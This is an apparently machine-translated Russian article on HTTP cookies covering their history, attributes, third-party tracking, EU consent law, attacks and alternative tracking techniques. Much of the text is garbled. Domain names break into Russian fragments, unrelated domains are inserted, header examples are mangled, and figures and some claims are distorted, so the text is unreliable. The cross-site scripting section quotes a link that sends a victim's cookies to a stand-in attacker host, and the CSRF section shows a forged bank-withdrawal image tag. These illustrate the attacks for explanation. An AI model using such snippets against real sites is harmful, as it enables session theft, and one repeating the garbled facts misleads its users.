Введение

Маленькие кусочки данных, хранящиеся веб-браузером на веб-сайте HTTP-куки (также называемые веб-куки, интернет-куки, браузерные куки или просто куки) - это небольшие блоки данных, созданные веб-сервером во время просмотра веб-сайта пользователем и размещенные на компьютере пользователя или другом устройстве веб-браузером пользователя. Файлы cookie размещаются на устройстве, используемом для доступа к веб-сайту, и в течение сеанса на устройстве пользователя может быть размещено более одного файла cookie. Файлы cookie выполняют полезные и иногда необходимые функции в Интернете. Они позволяют веб-серверам хранить информацию о состоянии (например, элементы, добавленные в корзину покупок в интернет-магазине) на устройстве пользователя или отслеживать активность просмотра пользователя (включая нажатие определенных кнопок, вход в систему или запись посещенных страниц в прошлом). Они также могут использоваться для сохранения информации, которую пользователь ранее вводил в поля формы, такие как имена, адреса, пароли и номера платежных карт для последующего использования. Аутентификационные файлы cookie обычно используются веб-серверами для аутентификации того, что пользователь вошел в систему, и с какой учетной записи он вошел в систему. Без файла cookie пользователям необходимо будет авторизоваться, вошед на каждую страницу, содержащую конфиденциальную информацию, к которой они хотят получить доступ. Безопасность файла cookie для аутентификации, как правило, зависит от безопасности веб-сайта, который его выпустил, и веб-браузера пользователя, а также от того, зашифрованы ли данные файла cookie. Слабые места безопасности могут позволить атакующему прочитать данные файла cookie, использовать их для получения доступа к пользовательским данным или использовать для получения доступа (с учетными данными пользователя) к веб-сайту, к которому принадлежит файл cookie (см. примеры скриптов между сайтами и подделки запросов между сайтами). Отслеживающие файлы cookie, и особенно сторонние отслеживающие файлы cookie, обычно используются в качестве способов сбора долгосрочных записей истории просмотра пользователей - потенциальная проблема конфиденциальности, которая побудила европейских и американских законодателей принять меры в 2011 году. Европейское законодательство требует, чтобы все веб-сайты, ориентированные на страны-члены Европейского Союза, получали "информированное согласие" от пользователей перед хранением несущественных файлов cookie на их устройстве.

Происхождение названия

Термин "cookie" был придуман программистом веб-браузера Лу Монтулли. Он был получен из термина "магический печенье", который представляет собой пакет данных, который программа получает и отправляет обратно без изменений, используемый программистами Unix.

История

Магические файлы cookie уже использовались в вычислительной технике, когда компьютерный программист Лу Монтулли в июне 1994 года придумал использовать их в веб-коммуникациях. В то время он был сотрудником Netscape Communications, которая разрабатывала приложение для электронной коммерции для MCI. Винт Серф и Джон Кленсин представляли MCI в технических дискуссиях с Netscape Communications. MCI не хотела, чтобы ее серверы должны были сохранять частичные состояния транзакций, что привело их к просьбе Netscape найти способ сохранить это состояние на компьютере каждого пользователя. Файлы cookie помогли решить проблему надежного внедрения виртуальной корзины покупок. Вместе с Джоном Джаннандреей Монтулли написал первоначальную спецификацию куки Netscape в том же году. Версия 0.9beta Mosaic Netscape, выпущенная 13 октября 1994 года, поддерживала файлы cookie. Поддержка файлов cookie была интегрирована в Internet Explorer в версии 2, выпущенной в октябре 1995 года. Введение печенья не было широко известно общественности в то время. В частности, файлы cookie принимались по умолчанию, а пользователи не уведомлялись о их наличии. Общественность узнала о печенье после того, как Financial Times опубликовала статью о нем 12 февраля 1996 года. В том же году печенье получило много внимания со стороны СМИ, особенно из-за потенциальных последствий для конфиденциальности. Файлы cookie обсуждались на двух слушаниях Федеральной торговой комиссии США в 1996 и 1997 годах. В это время рекламные компании уже использовали сторонние файлы cookie. Рекомендация о сторонних файлах cookie RFC 2109 не была соблюдена Netscape и Internet Explorer. RFC 2109 был заменен RFC 2965 в октябре 2000 года. RFC 2965 добавил поле заголовка Set Cookie2, которое неофициально стало называться "cookies стиля RFC 2965", в отличие от первоначального поля заголовка Set Cookie, которое называлось "cookies стиля Netscape". Однако Set Cookie2 редко использовался и был отменен в RFC 6265 в апреле 2011 года, который был написан как окончательная спецификация для файлов cookie, используемых в реальном мире. Ни один современный браузер не распознает поле заголовка Set Cookie2.

Сессионный файл cookie

Сессионный файл cookie (также известный как файл cookie в памяти, временный файл cookie или непостоянный файл cookie) существует только в временной памяти, пока пользователь перемещается по веб-сайту. Срок действия сеансовых файлов cookie истекает или удаляется, когда пользователь закрывает веб-браузер. Сессионные файлы cookie идентифицируются браузером по отсутствию даты истечения срока действия, назначенной им.

Постоянные файлы cookie

Постоянный файл cookie истекает в определенную дату или через определенный промежуток времени. В течение срока службы постоянного файла cookie, установленного его создателем, его информация будет передаваться на сервер каждый раз, когда пользователь посещает веб-сайт, которому он принадлежит, или каждый раз, когда пользователь просматривает ресурс, принадлежащий этому веб-сайту, с другого веб-сайта (например, реклама). По этой причине постоянные файлы cookie иногда называют отслеживающими файлами cookie, потому что они могут использоваться рекламодателями для записи информации о привычках пользователя в Интернете в течение длительного периода времени. Постоянные файлы cookie также используются по таким причинам, как сохранение пользователей в своих учетных записях на веб-сайтах, чтобы избежать повторного ввода учетных данных при каждом посещении.

Безопасный файл cookie

Безопасный файл cookie может передаваться только через зашифрованное соединение (например, HTTPS). Они не могут передаваться по нешифрованным соединениям (например, HTTP). Это делает печенье менее подверженным краже печенья через подслушивание. Печенье становится безопасным, если к нему добавлять флаг Secure.

Файл cookie только для Http

К файлу cookie только http не может быть доступен API-интерфейс на стороне клиента, такой как JavaScript. Это ограничение устраняет угрозу кражи файлов cookie с помощью скриптов межсайтов (XSS). Однако файл cookie остается уязвимым для атак с использованием кросс-сайтового отслеживания (XST) и кросс-сайтового подделки запросов (CSRF). Печенье получает эту характеристику, добавляя флаг HttpOnly к печенье.

Файл cookie одного сайта

В 2016 году в версии 51 Google Chrome был введен новый тип файлов cookie с атрибутом SameSite с возможными значениями Strict, Lax или None. С атрибутом SameSite=Strict браузеры будут отправлять файлы cookie только в целевой домен, который является тем же, что и исходный домен. Это позволит эффективно смягчить атаки с использованием перекрестных запросов (CSRF). С SameSite=Lax браузеры будут отправлять файлы cookie с запросами на целевой домен, даже если он отличается от исходного домена, но только для безопасных запросов, таких как GET (POST небезопасен), а не сторонние файлы cookie (внутри iframe). Атрибут SameSite=None позволит использовать сторонние (межсайтовые) файлы cookie, однако большинство браузеров требуют безопасного атрибута на файлах cookie SameSite=None. Файл cookie того же сайта включен в новый проект RFC для "Cookies: HTTP State Management Mechanism" для обновления RFC 6265 (если он одобрен). Chrome, Firefox и Edge начали поддерживать куки того же сайта. Ключом к развертыванию является обработка существующих файлов cookie без определения атрибута SameSite, Chrome обрабатывает эти существующие файлы cookie так, как если бы SameSite=None, это позволило бы всем веб-сайтам/приложениям работать как раньше. Google намеревался изменить этот параметр по умолчанию на SameSite=Lax в Chrome 80, который планировалось выпустить в феврале 2020 года, но из-за потенциального сбоя тех приложений/веб-сайтов, которые полагаются на сторонние/межсайтовые файлы cookie, и обстоятельств COVID-19, Google отложил это изменение на Chrome 84.

Суперпеченье

Суперкуки - это файлы cookie, имеющие происхождение от домена верхнего уровня (например, com) или публичного суффикса (например, co. uk). Обычные файлы cookie, напротив, имеют происхождение от конкретного доменного имени, например. - Нет. Суперкуки могут быть потенциальной проблемой безопасности и поэтому часто блокируются веб-браузерами. Если браузер разблокирует атакующий, контролирующий вредоносный веб-сайт, может установить суперкуки и потенциально нарушить или подделать законные запросы пользователя на другой веб-сайт, который использует тот же домен верхнего уровня или публичный суффикс, что и вредоносный веб-сайт. Например, суперкуки с происхождением com, может вредоносно повлиять на запрос, сделанный на пример. com, даже если файл cookie не был создан из пример. - Нет. Это может быть использовано для поддельных входов или изменения информации пользователя. Публичный список суффиксов помогает снизить риск, который представляют суперкуки. Публичный список суффиксов - это инициатива, направленная на то, чтобы предоставить точный и актуальный список суффиксов доменных имен. Старые версии браузеров могут не иметь обновленного списка, и поэтому будут уязвимы для суперкуки из определенных доменов.

Другие применения

Термин "суперкуки" иногда используется для технологий отслеживания, которые не полагаются на HTTP-куки. Два таких суперкуки были найдены на веб-сайтах Microsoft в августе 2011 года: синхронизация куки, которая восстанавливала куки MUID (уникальный идентификатор машины) и куки ETag. Из-за внимания СМИ, Microsoft позже отключила этот код. В блоге 2021 года Mozilla использовала термин supercookie для обозначения использования кэша браузера в качестве средства отслеживания пользователей на сайтах.

Печенье зомби

Зомби-куки - это данные и код, которые веб-сервер размещает на компьютере посетителя или другом устройстве в скрытом месте за пределами специального хранилища куки веб-браузера посетителя, и который автоматически воссоздает HTTP-куки как обычный куки после удаления исходного куки. Куки-зомби может храниться в нескольких местах, таких как Flash Local shared object, HTML5 Web storage и других местах на стороне клиента и даже на стороне сервера, и когда отсутствие обнаруживается в одном из мест, недостающий экземпляр воссоздается кодом JavaScript с использованием данных, хранящихся в других местах.

Стенка из печенья

Стенка файлов cookie появляется на веб-сайте и информирует пользователя об использовании файлов cookie веб-сайта. У него нет возможности отказа, и веб-сайт недоступен без отслеживания файлов cookie.

Управление сеансом

Первоначально файлы cookie были введены для того, чтобы пользователи могли записывать товары, которые они хотят купить, когда они перемещаются по веб-сайту (виртуальная корзина или корзина покупок). Затем данные могут быть собраны и проданы корпорациям, участвующим в торгах.

Атрибуты файлов cookie

Помимо имени и значения, файлы cookie могут также иметь один или несколько атрибутов. Браузеры не включают атрибуты cookie в запросы на сервер, они отправляют только имя и значение cookie. Атрибуты файлов cookie используются браузерами для определения времени удаления файла cookie, блокировки файла cookie или отправки файла cookie на сервер.

Срок действия и максимальный возраст

Атрибут "Expires" определяет конкретную дату и время, когда браузер должен удалить файл cookie. Дата и время указываются в форме Wdy, DD Mon YYYY HH:MM:SS GMT или в форме Wdy, DD Mon YY HH:MM:SS GMT для значений YY, где YY больше или равно 0 и меньше или равно 69. В качестве альтернативы, атрибут Max Age может быть использован для установки срока действия файла cookie как интервал секунд в будущем, относительно времени, когда браузер получил файл cookie. Ниже приведен пример трех полей заголовка Set Cookie, которые были получены с веб-сайта после входа пользователя: HTTP/1.0 200 OK Set Cookie: lu=Rg3vHJZnehYLjVg7qi3bZjzg; Expires=Tue, 15 Jan 2013 21:47:38 GMT; Path=/; Domain=. Пример. HttpOnly Set Cookie: заставляет писать conn=1295214458; Path=/; Domain=. Пример. com Set Cookie: reg fb gate=deleted; истекает срок действия=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; Domain=. Пример. Первый файл cookie, lu, истекает 15 января 2013 года. До этого времени он будет использоваться браузером клиента. Второй файл cookie, сделанный с помощью write conn, не имеет даты истечения срока действия, что делает его сеансовым файлом cookie. Он будет удален после того, как пользователь закрывает свой браузер. Третий файл cookie, reg fb gate, имеет значение изменилось на удаленное, с сроком истечения в прошлом. Браузер удалит этот файл cookie сразу, потому что срок его действия уже прошёл. Обратите внимание, что файл cookie будет удален только в том случае, если атрибуты домена и пути в поле Set Cookie совпадают с значениями, используемыми при создании файла cookie. с 2016 года Internet Explorer не поддерживает Max Age.

Безопасно и HttpOnly

Атрибуты Secure и HttpOnly не имеют соответствующих значений. Скорее, наличие только их атрибутов указывает на то, что их поведение должно быть включено. Атрибут Secure предназначен для ограничения передачи файлов cookie шифрованной передачей, направляя браузеры на использование файлов cookie только через защищенные / зашифрованные соединения. Однако, если веб-сервер устанавливает файл cookie с защищенным атрибутом с незащищенного соединения, файл cookie все равно может быть перехвачен, когда он отправляется пользователю атаками "человек посередине". Поэтому для максимальной безопасности файлы cookie с атрибутом Secure должны устанавливаться только через защищенное соединение. Атрибут HttpOnly направляет браузеры не выставлять куки через каналы, отличные от HTTP (и HTTPS) запросов. Это означает, что к файлу cookie нельзя получить доступ через языки скриптов на стороне клиента (в частности, JavaScript), и поэтому его нельзя легко украсть через скрипты на разных сайтах (всеобъемлющий метод атаки).

Настройки браузера

Большинство современных браузеров поддерживают файлы cookie и позволяют пользователю отключить их. Следующие варианты являются общими: полностью включить или отключить файлы cookie, чтобы они всегда принимались или всегда блокировались. Просмотр и выборочное удаление файлов cookie с помощью менеджера файлов cookie. Чтобы полностью стереть все личные данные, включая файлы cookie. Также существуют инструменты для управления разрешениями на файлы cookie.

Файлы cookie третьих лиц

Файлы cookie имеют некоторые важные последствия для конфиденциальности и анонимности пользователей Интернета. Хотя файлы cookie отправляются только на сервер, устанавливающий их, или на сервер в том же домене Интернета, веб-страница может содержать изображения или другие компоненты, хранящиеся на серверах в других доменах. Файлы cookie, которые устанавливаются во время извлечения этих компонентов, называются сторонними файлами cookie. Третьей стороной cookie, принадлежит к домену отличается от того, что показано в адресной строке. Этот тип файлов cookie обычно появляется, когда веб-страницы содержат контент с внешних веб-сайтов, таких как баннерная реклама. Это открывает возможность отслеживания истории просмотра пользователя и используется рекламодателями для предоставления соответствующих рекламных объявлений каждому пользователю. Предположим, что пользователь заходит на сайт www.jw.org. Пример. - Что? Этот сайт содержит рекламу от ad. - Отслеживание лис. com, который при загрузке устанавливает файл cookie, принадлежащий домену рекламы (ad. - Отслеживание лис. (см. Затем пользователь посещает другой сайт, www. Фу. com, которая также содержит рекламу от ad. - Отслеживание лис. .com и устанавливает файл cookie, принадлежащий этому домену (ad. - Отслеживание лис. (см. В конце концов, оба этих файла cookie будут отправлены рекламодателю при загрузке его рекламы или посещении его веб-сайта. Затем рекламодатель может использовать эти файлы cookie для создания истории просмотра пользователя на всех веб-сайтах, на которых есть реклама от этого рекламодателя, с помощью поля заголовка HTTP-рефератора. По состоянию на 2014 год, некоторые веб-сайты устанавливали файлы cookie, читаемые более чем 100 сторонними доменами. В среднем, на одном сайте было установлено 10 файлов cookie, при этом максимальное количество файлов cookie (первой и третьей стороны) достигло более 800. Старейшие стандарты для файлов cookie, RFC 2109 Firefox и Brave блокируют все сторонние файлы cookie по умолчанию. Safari позволяет встроенным сайтам использовать Storage Access API для запроса разрешения на установку куки первой стороны. В мае 2020 года Google Chrome 83 представил новые функции для блокировки сторонних файлов cookie по умолчанию в режиме инкогнито для частного просмотра, что делает блокировку необязательной во время обычного просмотра. В том же обновлении также добавлена опция блокирования файлов cookie первой стороны. С апреля 2024 года Chrome перенес блокировку сторонних файлов cookie по умолчанию на 2025 год.

Конфиденциальность

Возможность создания профиля пользователей представляет собой угрозу конфиденциальности, особенно когда отслеживание осуществляется через несколько доменов с использованием сторонних файлов cookie. По этой причине в некоторых странах существуют законы о файлах cookie. Операторы веб-сайтов, которые не раскрывают потребителям использование файлов cookie третьими лицами, рискуют нанести ущерб доверию потребителей, если будет обнаружено использование файлов cookie. Наличие четкого раскрытия (например, в политике конфиденциальности) имеет тенденцию устранять любые негативные последствия такого обнаружения файлов cookie. Правительство Соединенных Штатов установило строгие правила настройки файлов cookie в 2000 году после того, как было раскрыто, что офис Белого дома по вопросам наркополитики использовал файлы cookie для отслеживания пользователей компьютеров, просматривающих его онлайн-рекламу против наркотиков. В 2002 году активист по защите конфиденциальности Дэниел Брандт обнаружил, что ЦРУ оставляло постоянные файлы cookie на компьютерах, которые посещали его веб-сайт. Когда ЦРУ сообщили о нарушении политики, оно заявило, что эти файлы не были установлены намеренно и прекратили их установку. 25 декабря 2005 года Брандт обнаружил, что Агентство национальной безопасности (АНБ) оставляло два постоянных файла cookie на компьютерах посетителей из-за обновления программного обеспечения. После того, как АНБ были проинформированы, они немедленно отключили файлы cookie.

Директива ЕС о файлах cookie

В 2002 году Европейский Союз запустил Директиву о конфиденциальности и электронных коммуникациях (Директива о конфиденциальности), политику, требующую согласия конечных пользователей для размещения файлов cookie и аналогичных технологий для хранения и доступа к информации на оборудовании пользователей. В частности, в пункте 3 статьи 5 указано, что хранение технически ненужных данных на компьютере пользователя может осуществляться только в том случае, если пользователю предоставляется информация о том, как эти данные используются, и пользователю предоставляется возможность отказаться от этой операции хранения. Директива не требует от пользователей разрешения или уведомления об использовании файлов cookie, которые функционально необходимы для предоставления запрошенной ими услуги, например, для сохранения настроек, хранения сеансов входа в систему или запоминания того, что находится в корзине покупок пользователя. В 2009 году закон был изменен Директивой 2009/136/ЕС, которая включала изменение пункта 3 статьи 5. Вместо того, чтобы предоставить пользователям возможность отказаться от хранения файлов cookie, пересмотренная Директива требует получения согласия на хранение файлов cookie. В дополнение к требованию согласия, которое вытекает из хранения или доступа к информации на терминальном устройстве пользователя, информация во многих файлах cookie будет считаться персональными данными только в соответствии с GDPR и потребует правовой основы для обработки. Это было так с момента принятия Директивы о защите данных 1995 года, в которой использовалось идентичное определение персональных данных, хотя в GDPR в толковательном примере 30 уточняется, что идентификаторы файлов cookie включены. Хотя не вся обработка данных в соответствии с GDPR требует согласия, характеристики поведенческой рекламы означают, что ее трудно или невозможно оправдать на каком-либо другом основании. Согласие в соответствии с GDPR и Директивой о конфиденциальности должно соответствовать ряду условий в отношении файлов cookie. Оно должно быть свободно предоставлено и однозначно: предварительно выбранные поля были запрещены как в соответствии с Директивой о защите данных 1995 года, так и в соответствии с GDPR. В GDPR конкретно указано, что согласие должно быть "так же легко отозвать, как и дать", Суд Европейского Союза также постановил, что согласие должно быть "эффективным и своевременным", что означает, что оно должно быть получено до того, как будут установлены файлы cookie, и обработка данных начнется, а не после. Ответ отрасль в основном отрицательный. Роберт Бонд из юридической фирмы Speechly Bircham описывает последствия как "дальновидные и невероятно обременительные" для "всех британских компаний". Саймон Дэвис из Privacy International утверждает, что надлежащее применение закона "разрушит всю отрасль". Однако ученые отмечают, что обременительный характер всплывающих окон cookie обусловлен попыткой продолжать работать с бизнес-моделью с помощью запутанных запросов, которые могут быть несовместимы с GDPR. В 2019 году британский регулятор, Управление комиссара по информации, заявило, что "Рамка прозрачности и согласия" от рекламной технологической группы Interactive Advertising Bureau "недостаточна для обеспечения прозрачности и честной обработки данных, о которых идет речь, и, следовательно, также недостаточна для обеспечения свободного и информированного согласия, что имеет последствия для соблюдения PECR [e Privacy]". Спецификация W3C под названием P3P была предложена для серверов, чтобы сообщать свою политику конфиденциальности браузерам, позволяя автоматическую, пользовательскую настраиваемую обработку. Однако, немногие веб-сайты реализуют спецификацию, и W3C прекратил работу над спецификацией. Большинство браузеров могут блокировать сторонние файлы cookie для повышения конфиденциальности и сокращения отслеживания рекламными и отслеживающими компаниями, не оказывая негативного влияния на пользовательский интерфейс на всех сайтах. Некоторые сайты используют "стои файлов cookie", которые делают доступ к сайту зависимым от технического разрешения файлов cookie в браузере, путем нажатия "принять" или и то, и другое. В 2020 году Европейский совет по защите данных, состоящий из всех регуляторов защиты данных ЕС, заявил, что стена файлов cookie является незаконной. Для того чтобы согласие было предоставлено свободно, доступ к услугам и функциональным возможностям не должен зависеть от согласия пользовател�...

Скриптовый код на разных сайтах: кража файлов cookie

Куки также могут быть украдены с помощью метода, называемого скриптом кросс-сайта. Это происходит, когда злоумышленник использует веб-сайт, который позволяет пользователям размещать нефильтрованный HTML и JavaScript контент. Публикуя вредоносный HTML и JavaScript-код, злоумышленник может заставить веб-браузер жертвы отправить куки жертвы на веб-сайт, который контролирует злоумышленник. Например, злоумышленник может разместить сообщение на www. Пример. "Статья: "Объявление о выдаче лицензии на использование веб-сайта www.ecb.org" местоположение = "http://attacker. - Я украл. - Документ сбега. cookie); return false;">Нажмите здесь!</a> Когда другой пользователь нажимает на эту ссылку, браузер выполняет часть кода в атрибуте onclick, таким образом заменяя документ строки. файл cookie со списком файлов cookie, доступных с текущей страницы. В результате, этот список файлов cookie отправляется злоумышленнику. Ком сервер. Если злонамеренная публикация злоумышленника размещена на веб-сайте HTTPS https://www. Пример. Ком, защищенные файлы cookie также будут отправлены атакующему. com в обычном тексте. Разработчики сайта несут ответственность за фильтрацию такого вредоносного кода. Такие атаки могут быть смягчены с помощью HttpOnly cookies. Эти файлы не будут доступны для скриптовых языков на стороне клиента, таких как JavaScript, и поэтому злоумышленник не сможет собрать эти файлы.

Скриптирование между сайтами: прокси-запрос

В старых версиях многих браузеров в реализации API XMLHttpRequest были пробелы в безопасности. Этот API позволяет страницам указывать прокси-сервер, который получит ответ, и этот прокси-сервер не подчиняется той же политике происхождения. Например, жертва читает сообщение злоумышленника на www. Пример. и сценарий атакующего выполняется в браузере жертвы. Скрипт генерирует запрос на www. Пример. С прокси-сервером. - Нет. Так как запрос для www. Пример. - Да, все примеры. .com файлы cookie будут отправлены вместе с запросом, но будут перенаправлены через прокси-сервер атакующего. Таким образом, злоумышленник смог бы получить печенье жертвы. Эта атака не будет работать с защищенными файлами cookie, поскольку они могут передаваться только через соединения HTTPS, а протокол HTTPS диктует конечное шифрование (т.е. информация шифруется в браузере пользователя и расшифровывается на сервере назначения). В этом случае прокси-сервер будет видеть только необработанные, зашифрованные байты HTTP-запроса.

Подделка запросов с использованием различных сайтов

Например, Боб может просматривать чат-форум, где другой пользователь, Мэллори, разместил сообщение. Предположим, что Мэллори создал HTML-элемент изображения, который ссылается на действие на веб-сайте банка Боба (а не на файл изображения), например, <img src="http://bank. Пример. Если банк Боба хранит его идентификационную информацию в файле cookie, и если срок действия файла cookie не истек, то попытка браузера Боба загрузить изображение отправит форму вывода с его файлом cookie, таким образом, авторизуя транзакцию без одобрения Боба.

Похищение печенья

Cookiejacking - это атака на Internet Explorer, которая позволяет злоумышленнику украсть сеансовые файлы cookie пользователя, обманув пользователя, чтобы он перетащил объект по экрану. Microsoft посчитала, что недостаток не представляет риска из-за "уровня требуемого взаимодействия пользователя". Несмотря на это, исследователь попытался атаковать 150 их друзей в Facebook и получил файлы cookie 80 из них через социальную инженерию.

Неточная идентификация

Если на компьютере используется более одного браузера, то каждый из них обычно имеет отдельную область хранения файлов cookie. Поэтому файлы cookie не идентифицируют человека, а сочетание учетной записи пользователя, компьютера и веб-браузера. Таким образом, любой, кто использует несколько учетных записей, компьютеров или браузеров, имеет несколько наборов файлов cookie. Аналогичным образом, файлы cookie не различают нескольких пользователей, которые используют одну и ту же учетную запись пользователя, компьютер и браузер.

Альтернативы печеньям

Некоторые из операций, которые могут быть выполнены с использованием файлов cookie, также могут быть выполнены с использованием других механизмов.

JSON Web Tokens (Веб-токены)

JSON Web Token (JWT) - это самостоятельный пакет информации, который может использоваться для хранения информации об идентификации пользователя и подлинности. Это позволяет использовать их вместо сеансовых файлов cookie. В отличие от файлов cookie, которые автоматически прикрепляются к каждому запросу HTTP браузером, JWT должны быть явно прикреплены к каждому запросу HTTP веб-приложением.

HTTP аутентификация

Протокол HTTP включает в себя протоколы аутентификации базового доступа и аутентификации доступа к сборнику, которые позволяют получить доступ к веб-странице только тогда, когда пользователь предоставил правильное имя пользователя и пароль. Если сервер требует таких учетных данных для предоставления доступа к веб-странице, браузер запрашивает их у пользователя, и, получив их, браузер сохраняет и отправляет их в каждом последующем запросе страницы. Эта информация может быть использована для отслеживания пользователя.

URL (строка запроса)

Часть строки запроса URL - это часть, которая обычно используется для этой цели, но другие части могут использоваться также. Механизмы сеансов Java Servlet и PHP используют этот метод, если файлы cookie не включены. Этот метод состоит в том, что веб-сервер добавляет строки запросов, содержащие уникальный идентификатор сеанса, ко всем ссылкам внутри веб-страницы. Когда пользователь следует ссылке, браузер отправляет строку запроса на сервер, позволяя серверу идентифицировать пользователя и поддерживать состояние. Эти типы строки запросов очень похожи на файлы cookie, поскольку оба содержат произвольные фрагменты информации, выбранные сервером, и оба отправляются обратно на сервер при каждом запросе. Однако есть некоторые различия. Поскольку строка запроса является частью URL, если этот URL будет повторно использован позже, то же прикрепленная часть информации будет отправлена на сервер, что может привести к путанице. Например, если предпочтения пользователя закодированы в строке запроса URL-адреса и пользователь отправляет этот URL-адрес другому пользователю по электронной почте, эти предпочтения будут использоваться и для этого другого пользователя. Кроме того, если один и тот же пользователь получает доступ к одной и той же странице несколько раз из разных источников, нет никакой гарантии, что каждый раз будет использоваться одна и та же строка запроса. Например, если пользователь посещает страницу, приходя с внутренней страницы сайта в первый раз, а затем посещает ту же страницу, приходя со внешней поисковой системы во второй раз, строки запросов, вероятно, будут разными. Если бы в этой ситуации использовались печенье, то печенье было бы тем же самым. Другие недостатки строки запросов связаны с безопасностью. Хранение данных, идентифицирующих сеанс в строке запросов, позволяет атакам фиксации сеанса, атакам реферального журнализации и другим уязвимостям безопасности. Передача идентификаторов сеанса в виде HTTP-куки более безопасна.

Скрытые поля формы

Другая форма отслеживания сеансов - использование веб-форм с скрытыми полями. Этот метод очень похож на использование строки запроса URL для хранения информации и имеет многие из тех же преимуществ и недостатков. На самом деле, если форма обрабатывается с помощью метода HTTP GET, то этот метод аналогичен использованию строки запроса URL, поскольку метод GET добавляет поля формы в URL в качестве строки запроса. Но большинство форм обрабатываются с помощью HTTP POST, что приводит к тому, что информация формы, включая скрытые поля, отправляется в корпусе HTTP-запроса, который не является ни частью URL, ни куки. Этот подход представляет два преимущества с точки зрения трекера. Во-первых, информация о отслеживании размещена в теле HTTP-запроса, а не в URL-адресе, что означает, что она не будет замечена обычным пользователем. Во-вторых, информация о сеансе не копируется, когда пользователь копирует URL (например, для закладки страницы или отправки по электронной почте).

window.name свойство DOM

Все современные веб-браузеры могут хранить довольно большое количество данных (232 МБ) через JavaScript с использованием окна свойств DOM. Имя. Эти данные могут использоваться вместо сеансовых файлов cookie. Техника может быть соединена с объектами JSON/JavaScript для хранения сложных наборов переменных сеанса на стороне клиента. Недостатком является то, что каждое отдельное окно или вкладка будет изначально пустое окно. Назовите свойство, когда открыли. В некоторых отношениях это может быть более безопасным, чем файлы cookie, из-за того, что его содержимое не отправляется на сервер автоматически при каждом запросе, как файлы cookie, поэтому он не подвержен сетевым атакам по поиску файлов cookie.

IP-адрес

Некоторые пользователи могут отслеживаться на основе IP-адреса компьютера, запрашивающего страницу. Сервер знает IP-адрес компьютера, на котором работает браузер (или прокси-сервер, если таковой используется), и теоретически может связать сеанс пользователя с этим IP-адресом. Однако IP-адреса, как правило, не являются надежным способом отслеживания сеанса или идентификации пользователя. Многие компьютеры, предназначенные для использования одним пользователем, такие как офисные ПК или домашние ПК, находятся за сетевым переводчиком адресов (NAT). Это означает, что несколько ПК будут иметь общий IP-адрес. Кроме того, некоторые системы, такие как Tor, предназначены для сохранения анонимности в Интернете, что делает отслеживание по IP-адресу непрактичным, невозможным или рискованным для безопасности.

ЕТэг

Поскольку ETag хранятся в кэше браузером и возвращаются с последующими запросами на тот же ресурс, сервер отслеживания может просто повторить любой ETag, полученный от браузера, чтобы гарантировать, что назначенный ETag сохраняется неопределенно долго (подобно постоянным файлам cookie). Дополнительные поля заголовков кэширования также могут улучшить сохранность данных ETag. ETags можно очистить в некоторых браузерах, очистив кэш браузера.

Кэш браузера

Кэш браузера также может использоваться для хранения информации, которая может быть использована для отслеживания отдельных пользователей. Этот метод использует тот факт, что веб-браузер будет использовать ресурсы, хранящиеся в кэше, вместо того, чтобы загружать их с веб-сайта, когда он определяет, что кэш уже имеет самую последнюю версию ресурса. Например, веб-сайт может обслуживать файл JavaScript с кодом, который устанавливает уникальный идентификатор для пользователя (например, var userId = 3243242;). После первого посещения пользователем, каждый раз, когда пользователь получает доступ к странице, этот файл будет загружаться из кэша, а не загружаться с сервера. Поэтому его содержание никогда не изменится.

Отпечаток браузера

Отпечаток браузера - это информация, собранная о конфигурации браузера, например, номер версии, разрешение экрана и операционная система, для идентификации. Отпечатки пальцев могут использоваться для полной или частичной идентификации отдельных пользователей или устройств даже при отключении файлов cookie. Основная информация о конфигурации веб-браузера уже давно собирается службами веб-аналитики в попытке точно измерить реальный человеческий веб-трафик и снизить различные формы мошенничества с кликами. С помощью языков скриптов на стороне клиента, возможно сбор гораздо более эзотерических параметров. Ассимиляция такой информации в одну строку составляет отпечаток устройства. В 2010 году EFF измерил по крайней мере 18,1 бит энтропии, возможных из отпечатков пальцев браузера. Canvas fingerprinting, более современная техника, утверждает, что добавляет еще 5,7 битов.

Веб-хранилище

Некоторые веб-браузеры поддерживают механизмы персистенции, которые позволяют странице хранить информацию локально для последующего использования. Стандарт HTML5 (который в некоторой степени поддерживается большинством современных веб-браузеров) включает в себя JavaScript API, называемый Web-хранилищем, который позволяет использовать два типа хранения: локальное хранилище и сеансовое хранилище. Локальное хранение ведет себя аналогично постоянным файлам cookie, в то время как сессионное хранение ведет себя аналогично сессионным файлам cookie, за исключением того, что сессионное хранение привязано к продолжительности жизни отдельной вкладки / окна (также известной как сессия страницы), а не к целой сессии браузера, как сессионные файлы cookie. Internet Explorer поддерживает постоянную информацию в истории браузера, в фаворитах браузера, в хранилище XML ("данные пользователя") или непосредственно в веб-странице, сохраненной на диске. Некоторые плагины веб-браузеров также включают механизмы постоянства. Например, Adobe Flash имеет локальный общий объект, а Microsoft Silverlight имеет изолированное хранилище.